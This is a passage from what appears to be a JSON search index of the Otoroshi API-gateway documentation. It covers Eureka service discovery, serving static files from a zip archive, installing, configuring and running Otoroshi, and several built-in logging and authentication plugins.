Otoroshi [view](http://otoroshi.oto.tools:8080/bo/dashboard/routes) and create a new route using the wizard button.\n\nEnter the following values in for each step:\n\n1. An Eureka Server instance\n2. Choose the first choice : **BLANK ROUTE** and click on continue\n3. As exposed domain, set `eureka-server.oto.tools/eureka`\n4. As Target URL, set `http://foo.bar` (this value has no importance and will be skip by the Otoroshi Instance plugin)\n5. Validate the creation\n\nOnce created, you can hide with the arrow on the right top of the screen the tester view (which is displayed by default after each route creation).\nIn our case, we want to add a new plugin, called Internal Eureka Instance on our feed.\n\nInside the designer view:\n\n1. Search the `Eureka Instance` in the list of plugins.\n2. Add it to the feed by clicking on it\n3. Set an eviction timeout at 300 seconds (this configuration is used by Otoroshi to automatically check if an Eureka is up. Otherwise Otoroshi will evict the eureka client from the registry)\n\nWell done you have set up an Eureka Server. To check the content of an Eureka Server, you can navigate to this [link]('http://otoroshi.oto.tools:8080/bo/dashboard/eureka-servers'). In all case, none instances or applications are registered, so the registry is currently empty.\n\n### Create a simple Eureka Client and register it\n\n*This tutorial has no vocation to teach you how to write an Spring application and it may exists a newer version of this Spring code.*\n\n\nFor this tutorial, we'll use the following code which initiates an Eureka Client and defines an Spring REST Controller with only one endpoint. This endpoint will return its own exposed port (this value will be useful to check that the Otoroshi load balancing is right working between the multiples Eureka instances registered).\n\n\nLet's fast create a Spring project using [Spring Initializer](https://start.spring.io/). You can use the previous link or directly click on the following link to get the form already filled with the needed dependencies.\n\n````bash\nhttps://start.spring.io/#!type=maven-project&language=java&platformVersion=2.7.3&packaging=jar&jvmVersion=17&groupId=otoroshi.io&artifactId=eureka-client&name=eureka-client&description=A%20simple%20eureka%20client&packageName=otoroshi.io.eureka-client&dependencies=cloud-eureka,web\n````\n\nFeel free to change the project metadata for your use case.\n\nOnce downloaded and uncompressed, let's ahead and start to delete the application.properties and create an application.yml (if you are more comfortable with an application.properties, keep it)\n\n````yaml\neureka:\n client:\n fetch-registry: false # disable the discovery services mechanism for the client\n serviceUrl:\n defaultZone: http://eureka-server.oto.tools:8080/eureka\n\nspring:\n application:\n name: foo_app\n\n````\n\n\nNow, let's define the simple REST controller to expose the client port.\n\nCreate a new file, called PortController.java, in the sources folder of your project with the following content.\n\n````java\npackage otoroshi.io.eurekaclient;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.core.env.Environment;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class PortController {\n\n @Autowired\n Environment environment;\n\n @GetMapping(\"/port\")\n public String index() {\n return environment.getProperty(\"local.server.port\");\n }\n}\n````\nThis controller is very simple, we just exposed one endpoint `/port` which returns the port as string. Our client is ready to running. \n\nLet's launch it with the following command:\n\n````sh\nmvn spring-boot:run -Dspring-boot.run.arguments=--server.port=8085\n````\n\n@@@note\nThe port is not required but it will be useful when we will deploy more than one instances in the rest of the tutorial\n@@@\n\n\nOnce the command ran, you can navigate to the eureka server view in the Otoroshi UI. The dashboard should displays one registered app and instance.\nIt should also displays a timer for each application which represents the elapsed time since the last received heartbeat.\n\nLet's define a new route to exposed our registered eureka client.\n\n* Create a new route, named `Eureka client`, exposed on `http://eureka-client.oto.tools:8080` and targeting `http://foo.bar`\n* Search and add the `Internal Eureka server` plugin \n* Edit the plugin and choose your eureka server and your app (in our case, `Eureka Server` and `FOO_APP` respectively)\n* Save your route\n\nNow try to call the new route.\n\n````sh\ncurl 'http://eureka-client.oto.tools:8080/port'\n````\n\nIf everything is working, you should get the port 8085 as the response.The setup is working as expected, but we can improve him by scaling our eureka client.\n\nOpen a new tab in your terminal and run the following command.\n\n````sh\nmvn spring-boot:run -Dspring-boot.run.arguments=--server.port=8083\n````\n\nJust wait a few seconds and retry to call your new route.\n\n````sh\ncurl 'http://eureka-client.oto.tools:8080/port'\n$ 8082\ncurl 'http://eureka-client.oto.tools:8080/port'\n$ 8085\ncurl 'http://eureka-client.oto.tools:8080/port'\n$ 8085\ncurl 'http://eureka-client.oto.tools:8080/port'\n$ 8082\n````\n\nThe configuration is ready and the setup is working, Otoroshi use all instances of your app to dispatch clients on it.\n\n### Connect to an external Eureka server\n\nOtoroshi has the possibility to discover services by connecting to an Eureka Server.\n\nLet's create a route with an Eureka application as Otoroshi target:\n\n* Create a new blank API route\n* Search and add the `External Eureka Server` plugin\n* Set your eureka URL\n* Click on `Fetch Services` button to discover the applications of the Eureka instance\n* In the appeared selector, choose the application to target\n* Once the frontend configured, save your route and try to call it.\n\nWell done, you have exposed your Eureka application through the Otoroshi discovery services.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" + }, + { + "name": "zip-backend-plugin.md", + "id": "/how-to-s/zip-backend-plugin.md", + "url": "/how-to-s/zip-backend-plugin.html", + "title": "Quickly expose a website and static files ", + "content": "# Quickly expose a website and static files \n\n@@include[badge.md](../includes/badge.md) { #badge }\n\n## Tutorial\n\n1. [Before your start](#before-your-start)\n2. [Create an archive with HTML and CSS files](#create-an-archive-with-html-and-css-files)\n2. [Use the Zip Backend Plugin](#use-the-zip-backend-plugin)\n\nAfter completing these steps, you will be able to statically expose any kind of files from an archive.\n\n## Before your start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n## Create an archive with HTML and CSS files\n\nLet's start by creating an archive composed of html and css files.\n\nThe contents of your `index.html` file should be likes this:\n\n```html\n\n\n\n Wasmo plugin\n \n\n\n

Hello from Wasmo

\n\n\n```\n\nThe contents of your `index.css` file should be likes this:\n\n```css\nbody {\n background: #f9b000;\n display: flex;\n justify-content: center;\n align-items: center;\n height: 100dvh;\n}\n\nh1 {\n font-size: 3rem;\n color: #fff;\n}\n```\n\nOnce created, you can create the archive of both.\n\n```sh\nzip bundle.zip index.html index.css\n```\n\n## Use the Zip Backend Plugin \n\nLet's create the route using the Otoroshi admin API. The route content is pretty simple, a few fields about the name and the frontend, and the Zip Backend plugin in the plugins list.\n\nDon't forget to change the default `path-to-the-zip-file` with your path.\n\n``` sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"demootoroshi\",\n \"frontend\": {\n \"domains\": [\"demo-otoroshi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"debug\": false,\n \"plugin\": \"cp:otoroshi.next.plugins.ZipFileBackend\",\n \"include\": [],\n \"exclude\": [],\n \"config\": {\n \"url\": \"file:///bundle.zip\",\n \"headers\": {},\n \"dir\": \"./zips\",\n \"prefix\": null,\n \"ttl\": 3600000\n }\n }\n ]\n}\nEOF\n```\n\nCalling the route in a new browser tab at `http://demo-otoroshi.oto.tools:8080/`. You should see something like the following image:\n\n@@@ div { .centered-img }\n\n@@@\n\nAs we can see, the content of the archive is available, our HTML page is served and the CSS, linked into the HTML page, has loaded.\n\nYou can check this behaviour by calling the following path: \n\n```bash\ncurl http://demo-otoroshi.oto.tools:8080/index.css -v\n```\n\nThe result should be like:\n\n```bash\n< HTTP/1.1 200 OK\n< Transfer-Encoding: chunked\n< Content-Type: text/css\n<\nbody {\n background: #f9b000;\n display: flex;\n justify-content: center;\n align-items: center;\n height: 100dvh;\n}\n\nh1 {\n font-size: 3rem;\n color: #fff;\n}\n```\n\nCongratulations - You have just exposed your first archive. Do not hesitate to expose any type of content." + }, + { + "name": "badge.md", + "id": "/includes/badge.md", + "url": "/includes/badge.html", + "title": "", + "content": "\n
\nRoute plugins:\n
Zip file backend plugin
\n
\n\n" + }, + { + "name": "experimental.md", + "id": "/includes/experimental.md", + "url": "/includes/experimental.html", + "title": "@@@ warning", + "content": "@@@ warning\n\nthis feature is **EXPERIMENTAL** and might not work as expected.
\nIf you encounter any bugs, [please fill an issue](https://github.com/MAIF/otoroshi/issues/new), it will help us a lot :)\n\n@@@\n" + }, + { + "name": "fetch-and-start.md", + "id": "/includes/fetch-and-start.md", + "url": "/includes/fetch-and-start.html", + "title": "", + "content": "\nIf you already have an up and running otoroshi instance, you can skip the following instructions\n\nLet's start by downloading the latest Otoroshi.\n\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nthen you can run start Otoroshi :\n\n```sh\njava -Dotoroshi.adminPassword=password -jar otoroshi.jar \n```\n\nNow you can log into Otoroshi at @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new } with `admin@otoroshi.io/password`\n" + }, + { + "name": "initialize.md", + "id": "/includes/initialize.md", + "url": "/includes/initialize.html", + "title": "", + "content": "\n\nIf you already have an up and running otoroshi instance, you can skip the following instructions\n\n\n@@@div { .instructions }\n\n
\nSet up an Otoroshi\n\n
\n\nLet's start by downloading the latest Otoroshi.\n\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nthen you can run start Otoroshi :\n\n```sh\njava -Dotoroshi.adminPassword=password -jar otoroshi.jar \n```\n\nNow you can log into Otoroshi at http://otoroshi.oto.tools:8080 with `admin@otoroshi.io/password`\n\nCreate a new route, exposed on `http://myservice.oto.tools:8080`, which will forward all requests to the mirror `https://mirror.otoroshi.io`. Each call to this service will returned the body and the headers received by the mirror.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"my-service\",\n \"frontend\": {\n \"domains\": [\"myservice.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n }\n}\nEOF\n```\n\n\n@@@\n" + }, + { + "name": "index.md", + "id": "/index.md", + "url": "/index.html", + "title": "Otoroshi", + "content": "# Otoroshi\n\n**Otoroshi** is a layer of lightweight api management on top of a modern http reverse proxy written in Scala and developped by the MAIF OSS team that can handle all the calls to and between your microservices without service locator and let you change configuration dynamicaly at runtime.\n\n\n> *The Otoroshi is a large hairy monster that tends to lurk on the top of the torii gate in front of Shinto shrines. It's a hostile creature, but also said to be the guardian of the shrine and is said to leap down from the top of the gate to devour those who approach the shrine for only self-serving purposes.*\n\n@@@ div { .centered-img }\n[![Join the discord](https://img.shields.io/discord/1089571852940218538?color=f9b000&label=Community&logo=Discord&logoColor=f9b000)](https://discord.gg/dmbwZrfpcQ) [ ![Download](https://img.shields.io/github/release/MAIF/otoroshi.svg) ](hhttps://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar)\n@@@\n\n@@@ div { .centered-img }\n\n@@@\n\n## Installation\n\nYou can download the latest build of Otoroshi as a @ref:[fat jar](./install/get-otoroshi.md#from-jar-file), as a @ref:[zip package](./install/get-otoroshi.md#from-zip) or as a @ref:[docker image](./install/get-otoroshi.md#from-docker).\n\nYou can install and run Otoroshi with this little bash snippet\n\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\njava -jar otoroshi.jar\n```\n\nor using docker\n\n```sh\ndocker run -p \"8080:8080\" maif/otoroshi:16.15.4\n```\n\nnow open your browser to http://otoroshi.oto.tools:8080/, **log in with the credential generated in the logs** and explore by yourself, if you want better instructions, just go to the @ref:[Quick Start](./getting-started.md) or directly to the @ref:[installation instructions](./install/get-otoroshi.md)\n\n## Documentation\n\n* @ref:[About Otoroshi](./about.md)\n* @ref:[Architecture](./architecture.md)\n* @ref:[Features](./features.md)\n* @ref:[Getting started](./getting-started.md)\n* @ref:[Install Otoroshi](./install/index.md)\n* @ref:[Main entities](./entities/index.md)\n* @ref:[Detailed topics](./topics/index.md)\n* @ref:[How to's](./how-to-s/index.md)\n* @ref:[Plugins](./plugins/index.md)\n* @ref:[Admin REST API](./api.md)\n* @ref:[Deploy to production](./deploy/index.md)\n* @ref:[Developing Otoroshi](./dev.md)\n\n## Discussion\n\nJoin the @link:[Otoroshi server](https://discord.gg/dmbwZrfpcQ) { open=new } Discord\n\n## Sources\n\nThe sources of Otoroshi are available on @link:[Github](https://github.com/MAIF/otoroshi) { open=new }.\n\n## Logo\n\nYou can find the official Otoroshi logo @link:[on GitHub](https://github.com/MAIF/otoroshi/blob/master/resources/otoroshi-logo.png) { open=new }. The Otoroshi logo has been created by François Galioto ([@fgalioto](https://twitter.com/fgalioto))\n\n## Changelog\n\nEvery release, along with the migration instructions, is documented on the @link:[Github Releases](https://github.com/MAIF/otoroshi/releases) { open=new } page. A condensed version of the changelog is available on @link:[github](https://github.com/MAIF/otoroshi/blob/master/CHANGELOG.md) { open=new }\n\n## Patrons\n\nThe work on Otoroshi is funded by MAIF and Cloud APIM with the help of the community.\n\n## Licence\n\nOtoroshi is Open Source and available under the @link:[Apache 2 License](https://opensource.org/licenses/Apache-2.0) { open=new }\n\n@@@ index\n\n* [About Otoroshi](./about.md)\n* [Architecture](./architecture.md)\n* [Features](./features.md)\n* [Getting started](./getting-started.md)\n* [Install Otoroshi](./install/index.md)\n* [Main entities](./entities/index.md)\n* [Detailed topics](./topics/index.md)\n* [How to's](./how-to-s/index.md)\n* [Plugins](./plugins/index.md)\n* [Admin REST API](./api.md)\n* [Deploy to production](./deploy/index.md)\n* [Developing Otoroshi](./dev.md)\n* [Search doc](./search.md)\n\n@@@\n\n" + }, + { + "name": "get-otoroshi.md", + "id": "/install/get-otoroshi.md", + "url": "/install/get-otoroshi.html", + "title": "Get Otoroshi", + "content": "# Get Otoroshi\n\nAll release can be bound on the releases page of the @link:[repository](https://github.com/MAIF/otoroshi/releases) { open=new }.\n\n## From zip\n\n```sh\n# Download the latest version\nwget https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi-16.15.4.zip\nunzip ./otoroshi-16.15.4.zip\ncd otoroshi-16.15.4\n```\n\n## From jar file\n\n```sh\n# Download the latest version\nwget https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar\n```\n\n## From Docker\n\n```sh\n# Download the latest version\ndocker pull maif/otoroshi:16.15.4-jdk11\n```\n\n## From Sources\n\nTo build Otoroshi from sources, just go to the @ref:[dev documentation](../dev.md)\n" + }, + { + "name": "index.md", + "id": "/install/index.md", + "url": "/install/index.html", + "title": "Install", + "content": "# Install\n\nIn this sections, you will find informations about how to install and run Otoroshi\n\n* @ref:[Get Otoroshi](./get-otoroshi.md)\n* @ref:[Setup Otoroshi](./setup-otoroshi.md)\n* @ref:[Run Otoroshi](./run-otoroshi.md)\n\n@@@ index\n\n* [Get Otoroshi](./get-otoroshi.md)\n* [Setup Otoroshi](./setup-otoroshi.md)\n* [Run Otoroshi](./run-otoroshi.md)\n\n@@@\n" + }, + { + "name": "run-otoroshi.md", + "id": "/install/run-otoroshi.md", + "url": "/install/run-otoroshi.html", + "title": "Run Otoroshi", + "content": "# Run Otoroshi\n\nNow you are ready to run Otoroshi. You can run the following command with some tweaks depending on the way you want to configure Otoroshi. If you want to pass a custom configuration file, use the `-Dconfig.file=/path/to/file.conf` flag in the following commands.\n\n## From .zip file\n\n```sh\ncd otoroshi-vx.x.x\n./bin/otoroshi\n```\n\n## From .jar file\n\nFor Java 11\n\n```sh\njava -jar otoroshi.jar\n```\n\nif you want to run the jar file for on a JDK above JDK11, you'll have to add the following flags\n\n```sh\njava \\\n --add-opens=java.base/javax.net.ssl=ALL-UNNAMED \\\n --add-opens=java.base/sun.net.www.protocol.file=ALL-UNNAMED \\\n --add-exports=java.base/sun.security.x509=ALL-UNNAMED \\\n --add-opens=java.base/sun.security.ssl=ALL-UNNAMED \\\n -Dlog4j2.formatMsgNoLookups=true \\\n -jar otoroshi.jar\n```\n\n## From docker\n\n```sh\ndocker run -p \"8080:8080\" maif/otoroshi\n```\n\nYou can also pass useful args like :\n\n```sh\ndocker run -p \"8080:8080\" maif/otoroshi -Dconfig.file=/usr/app/otoroshi/conf/otoroshi.conf -Dlogger.file=/usr/app/otoroshi/conf/otoroshi.xml\n```\n\nIf you want to provide your own config file, you can read @ref:[the documentation about config files](./setup-otoroshi.md).\n\nYou can also provide some ENV variable using the `--env` flag to customize your Otoroshi instance.\n\nThe list of possible env variables is available @ref:[here](./setup-otoroshi.md).\n\nYou can use a volume to provide configuration like :\n\n```sh\ndocker run -p \"8080:8080\" -v \"$(pwd):/usr/app/otoroshi/conf\" maif/otoroshi\n```\n\nYou can also use a volume if you choose to use `filedb` datastore like :\n\n```sh\ndocker run -p \"8080:8080\" -v \"$(pwd)/filedb:/usr/app/otoroshi/filedb\" maif/otoroshi -Dotoroshi.storage=file\n```\n\nYou can also use a volume if you choose to use exports files :\n\n```sh\ndocker run -p \"8080:8080\" -v \"$(pwd):/usr/app/otoroshi/imports\" maif/otoroshi -Dotoroshi.importFrom=/usr/app/otoroshi/imports/export.json\n```\n\n## Run examples\n\n```sh\n$ java \\\n -Xms2G \\\n -Xmx8G \\\n -Dhttp.port=8080 \\\n -Dotoroshi.importFrom=/home/user/otoroshi.json \\\n -Dconfig.file=/home/user/otoroshi.conf \\\n -jar ./otoroshi.jar\n\n[warn] otoroshi-in-memory-datastores - Now using InMemory DataStores\n[warn] otoroshi-env - The main datastore seems to be empty, registering some basic services\n[warn] otoroshi-env - Importing from: /home/user/otoroshi.json\n[info] play.api.Play - Application started (Prod)\n[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080\n```\n\nIf you choose to start Otoroshi without importing existing data, Otoroshi will create a new admin user and print the login details in the log. When you will log into the admin dashboard, Otoroshi will ask you to create another account to avoid security issues.\n\n```sh\n$ java \\\n -Xms2G \\\n -Xmx8G \\\n -Dhttp.port=8080 \\\n -jar otoroshi.jar\n\n[warn] otoroshi-in-memory-datastores - Now using InMemory DataStores\n[warn] otoroshi-env - The main datastore seems to be empty, registering some basic services\n[warn] otoroshi-env - You can log into the Otoroshi admin console with the following credentials: admin@otoroshi.io / HHUsiF2UC3OPdmg0lGngEv3RrbIwWV5W\n[info] play.api.Play - Application started (Prod)\n[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080\n```\n" + }, + { + "name": "setup-otoroshi.md", + "id": "/install/setup-otoroshi.md", + "url": "/install/setup-otoroshi.html", + "title": "Setup Otoroshi", + "content": "# Setup Otoroshi\n\nin this section we are going to configure otoroshi before running it for the first time\n\n## Setup the database\n\nRight now, Otoroshi supports multiple datastore. You can choose one datastore over another depending on your use case.\n\n@@@div { .plugin .platform } \n
Redis
\n\n
Recommended
\n\nThe **redis** datastore is quite nice when you want to easily deploy several Otoroshi instances.\n\n\n\n@link:[Documentation](https://redis.io/topics/quickstart)\n@@@\n\n@@@div { .plugin .platform } \n
In memory
\n\nThe **in-memory** datastore is kind of interesting. It can be used for testing purposes, but it is also a good candidate for production because of its fastness.\n\n\n\n@ref:[Start with](../getting-started.md)\n@@@\n\n@@@div { .plugin .platform } \n
Cassandra
\n\n
Clustering
\n\nExperimental support, should be used in cluster mode for leaders\n\n\n\n@link:[Documentation](https://cassandra.apache.org/doc/latest/cassandra/getting_started/installing.html)\n@@@\n\n@@@div { .plugin .platform } \n
Postgresql
\n\n
Clustering
\n\nOr any postgresql compatible databse like cockroachdb for instance (experimental support, should be used in cluster mode for leaders)\n\n\n\n@link:[Documentation](https://www.postgresql.org/docs/10/tutorial-install.html)\n@@@\n\n@@@div { .plugin .platform } \n\n
FileDB
\n\nThe **filedb** datastore is pretty handy for testing purposes, but is not supposed to be used in production mode. \nNot suitable for production usage.\n\n\n\n@@@\n\n\n@@@ div { .centered-img }\n\n@@@\n\nthe first thing to setup is what kind of datastore you want to use with the `otoroshi.storage` setting\n\n```conf\notoroshi {\n storage = \"inmemory\" # the storage used by otoroshi. possible values are lettuce (for redis), inmemory, file, http, s3, cassandra, postgresql \n storage = ${?APP_STORAGE} # the storage used by otoroshi. possible values are lettuce (for redis), inmemory, file, http, s3, cassandra, postgresql \n storage = ${?OTOROSHI_STORAGE} # the storage used by otoroshi. possible values are lettuce (for redis), inmemory, file, http, s3, cassandra, postgresql \n}\n```\n\ndepending on the value you chose, you will be able to configure your datastore with the following configuration\n\ninmemory\n: @@snip [inmemory.conf](../snippets/datastores/inmemory.conf) \n\nfile\n: @@snip [file.conf](../snippets/datastores/file.conf) \n\nhttp\n: @@snip [http.conf](../snippets/datastores/http.conf) \n\ns3\n: @@snip [s3.conf](../snippets/datastores/s3.conf) \n\nredis\n: @@snip [lettuce.conf](../snippets/datastores/lettuce.conf) \n\npostgresql\n: @@snip [pg.conf](../snippets/datastores/pg.conf) \n\ncassandra\n: @@snip [inmemory.conf](../snippets/datastores/cassandra.conf) \n\n## Setup your hosts before running\n\nBy default, Otoroshi starts with domain `oto.tools` that automatically targets `127.0.0.1` with no changes to your `/etc/hosts` file. Of course you can change the domain value, you have to add the values in your `/etc/hosts` file according to the setting you put in Otoroshi configuration or define the right ip address at the DNS provider level\n\n* `otoroshi.domain` => `mydomain.org`\n* `otoroshi.backoffice.subdomain` => `otoroshi`\n* `otoroshi.privateapps.subdomain` => `privateapps`\n* `otoroshi.adminapi.exposedSubdomain` => `otoroshi-api`\n* `otoroshi.adminapi.targetSubdomain` => `otoroshi-admin-internal-api`\n\nfor instance if you want to change the default domain and use something like `otoroshi.mydomain.org`, then start otoroshi like \n\n```sh\njava -Dotoroshi.domain=mydomain.org -jar otoroshi.jar\n```\n\n@@@ warning\nOtoroshi cannot be accessed using `http://127.0.0.1:8080` or `http://localhost:8080` because Otoroshi uses Otoroshi to serve it's own UI and API. When otoroshi starts with an empty database, it will create a service descriptor for that using `otoroshi.domain` and the settings listed on this page and in the here that serve Otoroshi API and UI on `http://otoroshi-api.${otoroshi.domain}` and `http://otoroshi.${otoroshi.domain}`.\nOnce the descriptor is saved in database, if you want to change `otoroshi.domain`, you'll have to edit the descriptor in the database or restart Otoroshi with an empty database.\n@@@\n\n@@@ warning\nif your otoroshi instance runs behind a reverse proxy (L4 / L7) or inside a docker container where exposed ports (that you will use to access otoroshi) are not the same that the ones configured in otoroshi (`http.port` and `https.port`), you'll have to configure otoroshi exposed port to avoid bad redirection URLs when using authentication modules and other otoroshi tools. To do that, just set the values of the exposed ports in `otoroshi.exposed-ports.http = $theExposedHttpPort` (OTOROSHI_EXPOSED_PORTS_HTTP) and `otoroshi.exposed-ports.https = $theExposedHttpsPort` (OTOROSHI_EXPOSED_PORTS_HTTPS)\n@@@\n\n## Setup your configuration file\n\nThere is a lot of things you can configure in Otoroshi. By default, Otoroshi provides a configuration that should be enough for testing purpose. But you'll likely need to update this configuration when you'll need to move into production.\n\nIn this page, any configuration property can be set at runtime using a `-D` flag when launching Otoroshi like \n\n```sh\njava -Dhttp.port=8080 -jar otoroshi.jar\n```\n\nor\n\n```sh\n./bin/otoroshi -Dhttp.port=8080 \n```\n\nif you want to define your own config file and use it on an otoroshi instance, use the following flag\n\n```sh\njava -Dconfig.file=/path/to/otoroshi.conf -jar otoroshi.jar\n``` \n\n### Example of a custom. configuration file\n\n```conf\ninclude \"application.conf\"\n\nhttp.port = 8080\n\napp {\n storage = \"inmemory\"\n importFrom = \"./my-state.json\"\n env = \"prod\"\n domain = \"oto.tools\"\n rootScheme = \"http\"\n snowflake {\n seed = 0\n }\n events {\n maxSize = 1000\n }\n backoffice {\n subdomain = \"otoroshi\"\n session {\n exp = 86400000\n }\n }\n privateapps {\n subdomain = \"privateapps\"\n session {\n exp = 86400000\n }\n }\n adminapi {\n targetSubdomain = \"otoroshi-admin-internal-api\"\n exposedSubdomain = \"otoroshi-api\"\n defaultValues {\n backOfficeGroupId = \"admin-api-group\"\n backOfficeApiKeyClientId = \"admin-api-apikey-id\"\n backOfficeApiKeyClientSecret = \"admin-api-apikey-secret\"\n backOfficeServiceId = \"admin-api-service\"\n }\n }\n claim {\n sharedKey = \"mysecret\"\n }\n filedb {\n path = \"./filedb/state.ndjson\"\n }\n}\n\nplay.http {\n session {\n secure = false\n httpOnly = true\n maxAge = 2592000000\n domain = \".oto.tools\"\n cookieName = \"oto-sess\"\n }\n}\n```\n\n### Reference configuration\n\n@@snip [reference.conf](../snippets/reference.conf) \n\n### More config. options\n\nSee default configuration at\n\n* @link:[Base configuration](https://github.com/MAIF/otoroshi/blob/master/otoroshi/conf/base.conf) { open=new }\n* @link:[Application configuration](https://github.com/MAIF/otoroshi/blob/master/otoroshi/conf/application.conf) { open=new }\n\n## Configuration with env. variables\n\nEevery property in the configuration file can be overriden by an environment variable if it has env variable override written like `${?ENV_VARIABLE}`).\n\n## Reference configuration for env. variables\n\n@@snip [reference-env.conf](../snippets/reference-env.conf) \n" + }, + { + "name": "built-in-legacy-plugins.md", + "id": "/plugins/built-in-legacy-plugins.md", + "url": "/plugins/built-in-legacy-plugins.html", + "title": "Built-in legacy plugins", + "content": "# Built-in legacy plugins\n\nOtoroshi provides some plugins out of the box. Here is the available plugins with their documentation and reference configuration\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.accesslog.AccessLog }\n\n## Access log (CLF)\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `AccessLog`\n\n### Description\n\nWith this plugin, any access to a service will be logged in CLF format.\n\nLog format is the following:\n\n`\"$service\" $clientAddress - \"$userId\" [$timestamp] \"$host $method $path $protocol\" \"$status $statusTxt\" $size $snowflake \"$to\" \"$referer\" \"$userAgent\" $http $duration $errorMsg`\n\nThe plugin accepts the following configuration\n\n```json\n{\n \"AccessLog\": {\n \"enabled\": true,\n \"statuses\": [], // list of status to enable logs, if none, log everything\n \"paths\": [], // list of paths to enable logs, if none, log everything\n \"methods\": [], // list of http methods to enable logs, if none, log everything\n \"identities\": [] // list of identities to enable logs, if none, log everything\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"AccessLog\" : {\n \"enabled\" : true,\n \"statuses\" : [ ],\n \"paths\" : [ ],\n \"methods\" : [ ],\n \"identities\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.accesslog.AccessLogJson }\n\n## Access log (JSON)\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `AccessLog`\n\n### Description\n\nWith this plugin, any access to a service will be logged in json format.\n\nThe plugin accepts the following configuration\n\n```json\n{\n \"AccessLog\": {\n \"enabled\": true,\n \"statuses\": [], // list of status to enable logs, if none, log everything\n \"paths\": [], // list of paths to enable logs, if none, log everything\n \"methods\": [], // list of http methods to enable logs, if none, log everything\n \"identities\": [] // list of identities to enable logs, if none, log everything\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"AccessLog\" : {\n \"enabled\" : true,\n \"statuses\" : [ ],\n \"paths\" : [ ],\n \"methods\" : [ ],\n \"identities\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.accesslog.KafkaAccessLog }\n\n## Kafka access log\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `KafkaAccessLog`\n\n### Description\n\nWith this plugin, any access to a service will be logged as an event in a kafka topic.\n\nThe plugin accepts the following configuration\n\n```json\n{\n \"KafkaAccessLog\": {\n \"enabled\": true,\n \"topic\": \"otoroshi-access-log\",\n \"statuses\": [], // list of status to enable logs, if none, log everything\n \"paths\": [], // list of paths to enable logs, if none, log everything\n \"methods\": [], // list of http methods to enable logs, if none, log everything\n \"identities\": [] // list of identities to enable logs, if none, log everything\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"KafkaAccessLog\" : {\n \"enabled\" : true,\n \"topic\" : \"otoroshi-access-log\",\n \"statuses\" : [ ],\n \"paths\" : [ ],\n \"methods\" : [ ],\n \"identities\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.authcallers.BasicAuthCaller }\n\n## Basic Auth. caller\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `BasicAuthCaller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using basic auth.\n\nThis plugin accepts the following configuration\n\n{\n \"username\" : \"the_username\",\n \"password\" : \"the_password\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Basic %s\"\n}\n\n\n\n### Default configuration\n\n```json\n{\n \"username\" : \"the_username\",\n \"password\" : \"the_password\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Basic %s\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.authcallers.OAuth2Caller }\n\n## OAuth2 caller\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `OAuth2Caller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using OAuth2 client_credential/password flow.\nDo not forget to enable client retry to handle token generation on expire.\n\nThis plugin accepts the following configuration\n\n{\n \"kind\" : \"the oauth2 flow, can be 'client_credentials' or 'password'\",\n \"url\" : \"https://127.0.0.1:8080/oauth/token\",\n \"method\" : \"POST\",\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Bearer %s\",\n \"jsonPayload\" : false,\n \"clientId\" : \"the client_id\",\n \"clientSecret\" : \"the client_secret\",\n \"scope\" : \"an optional scope\",\n \"audience\" : \"an optional audience\",\n \"user\" : \"an optional username if 